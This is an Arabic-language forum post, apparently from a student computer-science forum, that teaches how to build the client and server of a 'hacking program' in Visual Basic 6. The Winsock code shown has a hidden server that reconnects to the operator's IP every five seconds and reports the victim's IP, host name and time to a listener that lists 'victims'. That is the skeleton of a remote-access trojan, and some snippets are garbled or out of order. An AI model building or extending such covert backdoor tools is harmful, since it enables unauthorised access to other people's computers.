alhemo web sit مدير المنتدى
عدد المساهمات : 115 تاريخ التسجيل : 14/05/2010 العمر : 38 الموقع : موقع طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات
alhemo الحيمو للمونتاج والدوبلاج: الحيمو للمونتاج والدوبلاج | | | منتديات طلاب جامعة النيلين كلية علوم الحاسوب مركز الحرية |
| موضوع: كيفية صنع برنامج اختراق عميل+حادم بلغة البيسك الثلاثاء يناير 01, 2013 12:24 pm | |
| بسم الله الرحمن الرحيم
الحمد لله رب العالمين ، والصلاة والسلام على أشرف الخلق وأعز المرسلين وبعد،،
موضوعنا اليوم باين من عنوانه
سنشرح صنع واجهة برنامج اختراق ( عميل + خادم)
-: العميل :-
نشغل برنامج الفيجوال بيسك
الأدوات
ندوس كليك شمال على الـ Tool Bar
نختار بعدها Components
نختار اداتين
اول اداه و اسمها
Microsoft Windows Common Controls 6.0
و تانى اداه و هيا الوينسوك و طبعا دى مشهوووووووره جدا للكل و الكل عارف ايه استخداماتها
Microsoft Winsock Control 6.0
نضيف اداه List View و اداه Winsock كما موضح بالصوره
نركز هنا بقى شويه لأن النقطه دى مهمه جداااااااااا
نختار اداه الوينسوك و نعدل كلأتى
Name : Sock
Index : 0
و بعدها نختار اداه الليست فيو
و نعدل عليها
Name : lstvict
و بعدها ندوس زرار Custom
نعدل اعداداتها بالظبط زى ما هو باين ف الصوره
و بعدها ندوس على زرار Column Headers
نيجى بقى لتقسيم الليست بتاعتنا عشان تظهر فيها معلومات السيرفر
ندوس على insert column
رقم 1 ده هيبقى اسم الخانه اللى هيظهر فيها رقم الضحيه
و نرجع تانى ندوس على insert Column
و نضيف
IP
و بعدها insert Column
و نضيف
User Name
و بعدها insert column
و نضيف
Time
و ملحوظه كدا صغيره
Width ده يبقى عرض الخانه
عشان ننسق الخانات بالتساوى و عرضهم يبقى قد بعض
انا مثلا خليت عرضهم
1653.73
هيظهر لنا بالشكل ده
كدا خلصنا من الوينسوك و الليست فيو
نضيف تكست
و نسميه
Sck
و نخلى القيمه
Visible = False
لحد كدا و تمااااااااااام اووووووووووووووى و خلصنا من كلللللللل الأدوات (( الخاصه بالعميييل ))
-: الأكواد :-
كود التصريحات العامه
كود: Dim SckNumber As Integer كود الفورم لود
كود: SckNumber = 0 ' تصفير المتغير SckNumber
Form1.Sock(Index).Close ' قفل الوينسوك و قطع اى اتصال
Form1.Sock(Index).LocalPort = 5100 ' تحديد البورت المناسب للوينسوك
Form1.Sock(Index).Listen ' بدايه الأنصات -: اكواد الوينسوك :-
ف الوينسوك يوجد اجرائات متععده
ما هوا الأجراء و ما هى الأداه؟؟
نختار الأجرائين
Close
Error
كود: '''''''' قطع الأتصال من الخادم المغلق'''''''''' Sock(Index).Close For z = 1 To lstvict.ListItems.Count lstvict.ListItems.Remove lstvict.ListItems(z).Index Next z ''''''''''''''''''''''''''''''''' connectionRequest الأجراء
كود: On Error GoTo Err: '''''''''قبول الأتصال و اضافه وينسوك جديده''''''''''
كود: Dim InServer As Long ConnectionAttempts = ConnectionAttempts + 1 If Sock.UBound <= 1 Then InServer = lstvict.ListItems.Count + 1 Else InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).SubItems(0)) + 1 End If
Load Sock(InServer) Sock(InServer).Accept requestID Sock(InServer).SendData "v1ct1m" Exit Sub
Err: On Error Resume Next: Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
كود: Dim All_data As String, NData() As String
Sock(Index).GetData All_data, vbString IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), : IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), NData = Split(All_data, "[\SC/]")
Select Case NData(0)
Case "v1ct1m" lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3) newItem.ListSubItems.Add , , NData(1) newItem.ListSubItems.Add , , NData(2) newItem.ListSubItems.Add , , NData(3) End Select الرجاء الانتباه للكود التالي
كود: Ndata = Split(All_Data, "[\SC/]") معنى الكود هو:يقسم المعلومات اللى واصله من الخادم و بيظهرلنا اللى احنا عاوزينه بس
Split : كود التقسيم
All Data : الداتا اللى بتوصل من الخادم
[\SC/] : الكلمه اللى بتفصل بين الدليل و المعلومات
يعنى مثلا
نتفرض ان الكود
كود: Dim rEdwolf() , Visual As String
rEdWolf = Split(Visual,"|") و نفترض ان Visual
كود: msg|ahmed و عاوزين نظهر ده ف مسج بوكس
هيبقى كودنا
rEdWolf لتقسيم المعلومات
و رقم 1 ده يبقى رقم الداتا
ياريت بجد اكون قدرت اوصل وظيفه الكود
بكده العميل اصبح تمااااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااام
-:السيرفر:-
الأدوات
نضيف الأدوات كما بالصوره
txtip : الاى بى الخاص بالعميل
txtport : البورت
sock : الوينسوك
Timer1 : التايمر اللى هيقوم بعمليه الأتصال و هنخليه يجرب اتصاله كل 5 ثوانى
و نخلى القيمه Visible = False
و بكده خلصنا ادوات السيرفر
الأكواد
كود الفورم لود
كود: Timer1.Interval = 5000 اكواد الوينسوك
الأجراء
Close
Error
كود: Sock.Close الأجراء DataArrival
(البيانات اللي بتوصل من العميل)
كود: Dim Ndata() As String, All_Data As String 'تقسيم المعلومات
Ndata = Split(All_Data, "[\SC/]") Sock.GetData All_Data Select Case Ndata(0) Case "v1ct1m" 'استقبال معلومات الخادم
TMPSTR = "v1ct1m" TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName TMPSTR = TMPSTR & "[\SC/]" & Time Sock.SendData TMPSTR
End Select و اخيرا كود الـ Timer
كود: If Not Sock.State = sckConnected Then Sock.Close Sock.Connect txtip, txtport Else
Exit Sub End If الآن خلصنا واجهة البرنامج(عميل +خادم)
| |
|